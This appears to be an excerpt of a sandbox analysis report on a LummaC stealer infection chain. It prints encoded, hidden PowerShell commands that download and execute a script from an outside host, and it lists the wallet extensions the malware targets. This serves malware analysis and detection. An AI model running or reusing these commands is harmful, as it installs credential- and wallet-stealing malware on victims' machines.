Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ep unrestricted -w 1 sc $env:temp\a.ps1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24gu0xxkcrkrnhlew5pail7dqookcrkrnhlew5paiatc3bsaxqgjyg/pd1cry4uksd8jxskthfsrlpscy5tdwjtdhjpbmcomywxmdapwyrfxx0picatam9pbianjyatcmvwbgfjzsailiqikx07jexxbezaunmgpsdpzxhkt0pjex5fnec1x31nquztluawchfzlnhckw9os2xrthrcds5xjvxhtw9jveh7oje2dlzllypjeddrdenyu3c7um5puxmwneqjkdboowwyxcjmrtnynwj7iljaofv7mgp6uhzdnzu1mtu4mjiznjuxody5otc3njy1mty1ntgn')));cmd.exe /k start powershell -w 1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('cg93zxjzagvsbcatzw5jifv3qjbbr0vby2dcmefdmefvquj5quc4qvl3qmxbse1by3dbz0fdsufrd0e2quz3qvz3qnbbrzrbwkfcdkfiy0fjd0jjquznqwvrqnpbrmnbyndcm0fewufoqujjquzjqwfrqnvbr1fbyndcm0fitufvquj2quhjqvprqnlbrk1byufcbefhd0fiqujjquhzqu1rqxvbrefbwefcd0fhoefkd0jsquhjqwn3qm9br1vbykfcc0fdnefauui0qudvqulnqwdbqzbbuvfceufhy0fkuuj0qudvqwjnqjbbrxdbyvfcekfiuufjqufpqumwqwr3qwdbr2dbyvfca0fhuufauuj1qunbquxrqmxbsefbsufcaufia0fjqujoquhnqwn3qwdbqzbbymdcdkfiqufjquf0quvnqwj3qnrbrzbbwvfcdufhuufjqujnqunjqwfrqmxbsgdbsufbb0fdz0fuz0jsquhjquxrqlbbr0lbywdcbefhtufkqufnquznqwvrqnpbsffbwlfcdefdnefuz0jsquhrquxnqlhbr1vbwwdcrefhd0fhuujsquc0qwrbqxbbqzrbukfcdkfiy0fiz0jzquc4qvlrqmtbrk1bzefceufha0fiz0juqunnqup3qm9bsffbzefcd0fitufpz0f2qum4qwn3qtnbqzrbyxdcc0fha0fjqujrquhrqwr3qnzbsg9byvfcnufdnefjd0jvquc4qwnbqxzbr2dbzffcckfhc0fod0f1qudvqwnbqmxbr2nbsndbcefda0fzqufpqunjqulbqxrbrmnbyvfcdufhuufid0izquznqwrbqjvbr3dbwlfbz0ffz0fhuujrqudrqvprqnvbqt09oy4gjgvudjpuzw1wxgeuchmxoybmdw5jdglvbibkrnhlew5paigpe2z1bmn0aw9uihzvck9jkcrlufnyslplkxtpzighkfrlc3qtugf0acatugf0acaksw5mksl7y3vybcaou0xxicrlufnyslplksatbyaksw5mfx19skz4s3luawo7')))
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==;. $env:temp\a.ps1; function jfxkynij(){function voroc($epsrjzk){if(!(test-path -path $inl)){curl (slq $epsrjzk) -o $inl}}}jfxkynij;"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==;. $env:temp\a.ps1; function jfxkynij(){function voroc($epsrjzk){if(!(test-path -path $inl)){curl (slq $epsrjzk) -o $inl}}}jfxkynij;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -ep unrestricted -w 1 sc $env:temp\a.ps1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('znvuy3rpb24gu0xxkcrkrnhlew5pail7dqookcrkrnhlew5paiatc3bsaxqgjyg/pd1cry4uksd8jxskthfsrlpscy5tdwjtdhjpbmcomywxmdapwyrfxx0picatam9pbianjyatcmvwbgfjzsailiqikx07jexxbezaunmgpsdpzxhkt0pjex5fnec1x31nquztluawchfzlnhckw9os2xrthrcds5xjvxhtw9jveh7oje2dlzllypjeddrdenyu3c7um5puxmwneqjkdboowwyxcjmrtnynwj7iljaofv7mgp6uhzdnzu1mtu4mjiznjuxody5otc3njy1mty1ntgn')));cmd.exe /k start powershell -w 1 ([system.text.encoding]::utf8.getstring([system.convert]::frombase64string('cg93zxjzagvsbcatzw5jifv3qjbbr0vby2dcmefdmefvquj5quc4qvl3qmxbse1by3dbz0fdsufrd0e2quz3qvz3qnbbrzrbwkfcdkfiy0fjd0jjquznqwvrqnpbrmnbyndcm0fewufoqujjquzjqwfrqnvbr1fbyndcm0fitufvquj2quhjqvprqnlbrk1byufcbefhd0fiqujjquhzqu1rqxvbrefbwefcd0fhoefkd0jsquhjqwn3qm9br1vbykfcc0fdnefauui0qudvqulnqwdbqzbbuvfceufhy0fkuuj0qudvqwjnqjbbrxdbyvfcekfiuufjqufpqumwqwr3qwdbr2dbyvfca0fhuufauuj1qunbquxrqmxbsefbsufcaufia0fjqujoquhnqwn3qwdbqzbbymdcdkfiqufjquf0quvnqwj3qnrbrzbbwvfcdufhuufjqujnqunjqwfrqmxbsgdbsufbb0fdz0fuz0jsquhjquxrqlbbr0lbywdcbefhtufkqufnquznqwvrqnpbsffbwlfcdefdnefuz0jsquhrquxnqlhbr1vbwwdcrefhd0fhuujsquc0qwrbqxbbqzrbukfcdkfiy0fiz0jzquc4qvlrqmtbrk1bzefceufha0fiz0juqunnqup3qm9bsffbzefcd0fitufpz0f2qum4qwn3qtnbqzrbyxdcc0fha0fjqujrquhrqwr3qnzbsg9byvfcnufdnefjd0jvquc4qwnbqxzbr2dbzffcckfhc0fod0f1qudvqwnbqmxbr2nbsndbcefda0fzqufpqunjqulbqxrbrmnbyvfcdufhuufid0izquznqwrbqjvbr3dbwlfbz0ffz0fhuujrqudrqvprqnvbqt09oy4gjgvudjpuzw1wxgeuchmxoybmdw5jdglvbibkrnhlew5paigpe2z1bmn0aw9uihzvck9jkcrlufnyslplkxtpzighkfrlc3qtugf0acatugf0acaksw5mksl7y3vybcaou0xxicrlufnyslplksatbyaksw5mfx19skz4s3luawo7')))	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==;. $env:temp\a.ps1; function jfxkynij(){function voroc($epsrjzk){if(!(test-path -path $inl)){curl (slq $epsrjzk) -o $inl}}}jfxkynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==;. $env:temp\a.ps1; function jfxkynij(){function voroc($epsrjzk){if(!(test-path -path $inl)){curl (slq $epsrjzk) -o $inl}}}jfxkynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0aqqbyagcadqbtaguabgb0aewaaqbzahqaiaaiac0adwagaggaaqbkagqazqbuacaalqblahaaiabiahkacabhahmacwagac0abgbvahaaiaataemabwbtag0ayqbuagqaiabgaciaaqblahgaiaaoacgatgblahcalqbpagiaagblagmadaagafmaeqbzahqazqbtac4atgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8acwa3ac4aawbsagkacabkahkadwbvahoaaqb5ac4acwboag8acaavaggadqbragsanwauagoacablagcajwapackayaaiaciaiaatafcaaqbuagqabwb3afmadab5agwazqagaegaaqbkagqazqbuaa==	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 0000000E.00000002.3438118078.000000000337C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: lpincpppdclinealmandijcmnkbgn","ez":"KHC"},{"en":"ookjlbkiijinhpmnjffcofjonbfbgaoc","ez":"Temple"},{"en":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password 